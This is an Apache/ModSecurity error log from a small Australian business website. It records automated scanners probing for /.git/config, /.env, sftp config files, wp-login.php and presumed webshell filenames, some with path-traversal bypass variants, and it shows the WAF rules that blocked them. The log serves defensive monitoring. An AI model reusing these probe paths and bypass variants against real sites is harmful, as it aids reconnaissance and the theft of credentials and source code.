[Tue Nov 25 20:58:45.570138 2025] [:error] [pid 14078:tid 14140] [client 4.206.153.235:59392] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "aSWoBdVXYbb0ii_rVoJlzwAAAIM"]
[Tue Nov 25 21:26:17.848930 2025] [:error] [pid 14168:tid 14171] [client 54.173.250.15:52562] [client 54.173.250.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSWuefR-ZDU0QEgAIIuHEQAAAMA"]
[Tue Nov 25 23:22:52.415822 2025] [:error] [pid 43981:tid 44003] [client 139.59.30.253:53983] [client 139.59.30.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/controller/extension/extension/"] [unique_id "aSXJzAgZn97m_qh_RaGEAAAAAxQ"], referer: binance.com
[Tue Nov 25 23:22:56.265324 2025] [:error] [pid 14077:tid 14132] [client 139.59.30.253:55435] [client 139.59.30.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uploads/"] [unique_id "aSXJ0BG9n7UHEkwDTyjrKwAAAFY"], referer: binance.com
[Tue Nov 25 23:23:01.556133 2025] [:error] [pid 14077:tid 14118] [client 139.59.30.253:57805] [client 139.59.30.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/images/"] [unique_id "aSXJ1RG9n7UHEkwDTyjrMQAAAEg"], referer: binance.com
[Tue Nov 25 23:23:06.426326 2025] [:error] [pid 43843:tid 43851] [client 139.59.30.253:60324] [client 139.59.30.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/files/"] [unique_id "aSXJ2hhx4v3NUNdMKDMOZAAAAcY"], referer: binance.com
[Wed Nov 26 00:37:43.825276 2025] [:error] [pid 2987:tid 3008] [client 185.30.32.93:44446] [client 185.30.32.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.30.32.93, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSXbV8-djEt-pTzPxnz6FAAAAVM"]
[Wed Nov 26 00:37:43.829048 2025] [:error] [pid 2987:tid 3008] [client 185.30.32.93:44446] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 26 00:37:44.849465 2025] [:error] [pid 14168:tid 14189] [client 185.30.32.93:44458] [client 185.30.32.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.30.32.93, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSXbWPR-ZDU0QEgAIIu4UgAAANI"]
[Wed Nov 26 00:37:44.858238 2025] [:error] [pid 14168:tid 14189] [client 185.30.32.93:44458] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 26 00:41:50.813391 2025] [:error] [pid 14078:tid 14145] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php, referer: https://duckduckgo.com/
[Wed Nov 26 00:41:51.022412 2025] [:error] [pid 14078:tid 14157] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php, referer: https://duckduckgo.com/
[Wed Nov 26 00:41:51.227160 2025] [:error] [pid 14078:tid 14156] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php, referer: https://www.yahoo.com/
[Wed Nov 26 00:41:51.446098 2025] [:error] [pid 14078:tid 14151] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php, referer: https://www.google.com/
[Wed Nov 26 00:41:51.681427 2025] [:error] [pid 14078:tid 14149] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php, referer: https://www.google.fr/
[Wed Nov 26 00:41:51.902181 2025] [:error] [pid 14078:tid 14150] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php, referer: https://www.google.de/
[Wed Nov 26 00:41:52.352049 2025] [:error] [pid 14078:tid 14140] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php, referer: https://www.yahoo.com/
[Wed Nov 26 00:41:52.558986 2025] [:error] [pid 14078:tid 14139] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/file4.php, referer: https://www.google.de/
[Wed Nov 26 00:41:52.762815 2025] [:error] [pid 14078:tid 14155] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php, referer: https://duckduckgo.com/
[Wed Nov 26 00:41:53.028035 2025] [:error] [pid 14078:tid 14161] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php, referer: https://www.google.com/
[Wed Nov 26 00:41:53.260540 2025] [:error] [pid 14078:tid 14148] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/ds.php, referer: https://www.google.de/
[Wed Nov 26 00:41:53.466406 2025] [:error] [pid 14078:tid 14153] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php, referer: https://www.google.co.uk/
[Wed Nov 26 00:41:53.753105 2025] [:error] [pid 14078:tid 14141] [client 172.177.141.1:9201] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php, referer: https://www.google.com/
[Wed Nov 26 00:42:07.835954 2025] [autoindex:error] [pid 14078:tid 14153] [client 172.177.141.1:9201] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Nov 26 02:23:10.917588 2025] [:error] [pid 14076:tid 14099] [client 20.10.139.218:22419] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php, referer: https://www.google.fr/
[Wed Nov 26 02:23:11.155131 2025] [:error] [pid 14076:tid 14102] [client 20.10.139.218:22419] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php, referer: https://www.yahoo.com/
[Wed Nov 26 02:23:11.406385 2025] [:error] [pid 14076:tid 14105] [client 20.10.139.218:22419] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php, referer: https://www.google.de/
[Wed Nov 26 02:23:11.691985 2025] [:error] [pid 14076:tid 14090] [client 20.10.139.218:22419] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php, referer: https://www.google.co.uk/
[Wed Nov 26 02:23:11.948508 2025] [:error] [pid 14076:tid 14097] [client 20.10.139.218:22419] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php, referer: https://www.google.de/
[Wed Nov 26 02:23:12.180064 2025] [:error] [pid 14076:tid 14094] [client 20.10.139.218:22419] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php, referer: https://www.yahoo.com/
[Wed Nov 26 02:23:12.710502 2025] [:error] [pid 14076:tid 14088] [client 20.10.139.218:22419] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php, referer: https://www.bing.com/
[Wed Nov 26 02:23:12.914863 2025] [:error] [pid 14076:tid 14081] [client 20.10.139.218:22419] File does not exist: /usr/local/apache/htdocs/suspended-page/file4.php, referer: https://www.google.com/
[Wed Nov 26 02:23:13.120512 2025] [:error] [pid 14076:tid 14104] [client 20.10.139.218:22419] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php, referer: https://www.google.de/
[Wed Nov 26 02:23:13.518496 2025] [:error] [pid 14076:tid 14100] [client 20.10.139.218:22419] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php, referer: https://www.google.de/
[Wed Nov 26 04:25:03.849842 2025] [:error] [pid 3097:tid 3109] [client 51.81.107.180:46876] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Wed Nov 26 05:33:56.441882 2025] [:error] [pid 3012:tid 3072] [client 54.173.250.15:53536] [client 54.173.250.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSYgxEfo8Sm1Un9NK6gy-AAAAIM"]
[Wed Nov 26 05:45:12.680296 2025] [:error] [pid 683:tid 709] [client 198.98.58.150:51224] [client 198.98.58.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.58.150, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSYjaM4Hks4Npntw8NlTrQAAAdY"]
[Wed Nov 26 05:45:12.684218 2025] [:error] [pid 683:tid 709] [client 198.98.58.150:51224] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 26 05:55:12.575871 2025] [:error] [pid 2118:tid 2136] [client 4.233.19.146:30980] [client 4.233.19.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.233.19.146, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSYlwBndpvkGwwtuEgIcLQAAA5A"]
[Wed Nov 26 05:55:12.581800 2025] [:error] [pid 2118:tid 2136] [client 4.233.19.146:30980] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 26 05:55:13.801911 2025] [:error] [pid 683:tid 696] [client 4.233.19.146:30983] [client 4.233.19.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.233.19.146, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSYlwc4Hks4Npntw8NlVzQAAAck"]
[Wed Nov 26 05:55:13.809592 2025] [:error] [pid 683:tid 696] [client 4.233.19.146:30983] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 26 06:55:09.865004 2025] [:error] [pid 857:tid 874] [client 104.219.236.180:50667] [client 104.219.236.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aSYzzX3HeRXAOBI-RegBcwAAAo8"]
[Wed Nov 26 11:45:46.421184 2025] [:error] [pid 45836:tid 45862] [client 185.102.115.93:35540] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Wed Nov 26 17:51:20.491529 2025] [:error] [pid 45683:tid 45711] [client 170.187.231.238:47790] [client 170.187.231.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSbNmBX1gQgNFW_222qU6gAAAVc"]
[Wed Nov 26 22:45:26.802481 2025] [:error] [pid 45683:tid 45689] [client 216.24.219.147:56141] [client 216.24.219.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/txets.php"] [unique_id "aScShhX1gQgNFW_222rYiQAAAUE"]
[Wed Nov 26 22:45:27.281883 2025] [:error] [pid 45685:tid 45750] [client 216.24.219.154:22785] [client 216.24.219.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/txets.php"] [unique_id "aScSh1j3f_NRdgU0DQ4EHAAAAQg"]
[Wed Nov 26 22:45:27.771424 2025] [:error] [pid 45685:tid 45753] [client 216.24.219.150:28585] [client 216.24.219.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/txets.php"] [unique_id "aScSh1j3f_NRdgU0DQ4EHgAAAQs"]
[Thu Nov 27 00:59:53.624167 2025] [:error] [pid 8184:tid 8245] [client 103.77.107.57:54497] [client 103.77.107.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sftp-config.json"] [unique_id "aScyCb-M2IHkRYVrcbN9mAAAAEg"]
[Thu Nov 27 00:59:53.889994 2025] [:error] [pid 8184:tid 8254] [client 103.77.107.57:50812] [client 103.77.107.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aScyCb-M2IHkRYVrcbN9mQAAAFA"]
[Thu Nov 27 01:07:16.837055 2025] [:error] [pid 24826:tid 25119] [client 134.209.96.129:53930] [client 134.209.96.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSczxFEvPXLVl-nh-yLe-wAAAQQ"]
[Thu Nov 27 02:43:06.158424 2025] [:error] [pid 24814:tid 25075] [client 216.126.239.203:40600] [client 216.126.239.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSdKOgPn1NMGCdo6Rsi2bwAAAUA"]
[Thu Nov 27 03:02:36.330634 2025] [:error] [pid 25262:tid 25331] [client 213.21.239.4:48318] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants/..;/.git/config"] [unique_id "aSdOzE3p81VU3bYILBVaCwAAAgo"]
[Thu Nov 27 03:02:36.338095 2025] [:error] [pid 25262:tid 25339] [client 213.21.239.4:48316] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/.git/config"] [unique_id "aSdOzE3p81VU3bYILBVaDQAAAhI"]
[Thu Nov 27 03:02:36.342302 2025] [:error] [pid 25262:tid 25328] [client 213.21.239.4:48376] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/dev/.git/config"] [unique_id "aSdOzE3p81VU3bYILBVaDgAAAgc"]
[Thu Nov 27 03:02:36.342594 2025] [:error] [pid 25262:tid 25322] [client 213.21.239.4:48336] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants/.git/config;.."] [unique_id "aSdOzE3p81VU3bYILBVaDwAAAgE"]
[Thu Nov 27 03:02:36.343135 2025] [:error] [pid 25262:tid 25323] [client 213.21.239.4:48192] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants/.git/%0Aconfig"] [unique_id "aSdOzE3p81VU3bYILBVaEAAAAgI"]
[Thu Nov 27 03:02:36.343668 2025] [:error] [pid 25180:tid 25201] [client 213.21.239.4:48410] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/backup/.git/config"] [unique_id "aSdOzL-owhtiwMHXYlzrQgAAAZM"]
[Thu Nov 27 03:02:36.343749 2025] [:error] [pid 25262:tid 25344] [client 213.21.239.4:48196] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants/static../.git/config"] [unique_id "aSdOzE3p81VU3bYILBVaEQAAAhc"]
[Thu Nov 27 03:02:36.346661 2025] [:error] [pid 25180:tid 25204] [client 213.21.239.4:48198] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/content../.git/config"] [unique_id "aSdOzL-owhtiwMHXYlzrQwAAAZY"]
[Thu Nov 27 03:02:36.347120 2025] [:error] [pid 25180:tid 25184] [client 213.21.239.4:48232] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants/;/.git/config"] [unique_id "aSdOzL-owhtiwMHXYlzrRAAAAYI"]
[Thu Nov 27 03:02:36.348117 2025] [:error] [pid 25180:tid 25200] [client 213.21.239.4:48372] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/application/.git/config"] [unique_id "aSdOzL-owhtiwMHXYlzrRQAAAZI"]
[Thu Nov 27 03:02:36.350961 2025] [:error] [pid 25180:tid 25186] [client 213.21.239.4:48190] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants/.git/config"] [unique_id "aSdOzL-owhtiwMHXYlzrRgAAAYQ"]
[Thu Nov 27 03:02:36.352512 2025] [:error] [pid 25180:tid 25205] [client 213.21.239.4:48286] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/api/.git/config"] [unique_id "aSdOzL-owhtiwMHXYlzrRwAAAZc"]
[Thu Nov 27 03:02:36.353007 2025] [:error] [pid 25180:tid 25202] [client 213.21.239.4:48332] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/assets../.git/config"] [unique_id "aSdOzL-owhtiwMHXYlzrSAAAAZQ"]
[Thu Nov 27 03:02:36.356654 2025] [:error] [pid 54723:tid 54733] [client 213.21.239.4:48266] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants../.git/config"] [unique_id "aSdOzA2CEg7QoyDosdIT9QAAAAM"]
[Thu Nov 27 03:02:36.357044 2025] [:error] [pid 25180:tid 25197] [client 213.21.239.4:48270] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/css../.git/config"] [unique_id "aSdOzL-owhtiwMHXYlzrSQAAAY8"]
[Thu Nov 27 03:02:36.357349 2025] [:error] [pid 25262:tid 25321] [client 213.21.239.4:48288] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/common/.git/config"] [unique_id "aSdOzE3p81VU3bYILBVaEwAAAgA"]
[Thu Nov 27 03:02:36.358903 2025] [:error] [pid 54723:tid 54751] [client 213.21.239.4:48354] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/admin/.git/config"] [unique_id "aSdOzA2CEg7QoyDosdIT9gAAABU"]
[Thu Nov 27 03:02:36.359518 2025] [:error] [pid 54723:tid 54735] [client 213.21.239.4:48388] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/developer/.git/config"] [unique_id "aSdOzA2CEg7QoyDosdIT9wAAAAU"]
[Thu Nov 27 03:02:36.368087 2025] [:error] [pid 24814:tid 25093] [client 213.21.239.4:48360] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants/.git/config;"] [unique_id "aSdOzAPn1NMGCdo6Rsi5cAAAAVI"]
[Thu Nov 27 03:02:36.369490 2025] [:error] [pid 8184:tid 8260] [client 213.21.239.4:48418] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/database/.git/config"] [unique_id "aSdOzL-M2IHkRYVrcbOovgAAAFY"]
[Thu Nov 27 03:02:38.460043 2025] [:error] [pid 24826:tid 25117] [client 213.21.239.4:49104] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.com.au/..;/.git/config"] [unique_id "aSdOzlEvPXLVl-nh-yL2pwAAAQI"]
[Thu Nov 27 03:02:38.462202 2025] [:error] [pid 24826:tid 25139] [client 213.21.239.4:49148] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/..;/.git/config"] [unique_id "aSdOzlEvPXLVl-nh-yL2qAAAARc"]
[Thu Nov 27 03:02:38.462202 2025] [:error] [pid 8184:tid 8255] [client 213.21.239.4:49162] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSdOzr-M2IHkRYVrcbOo0wAAAFE"]
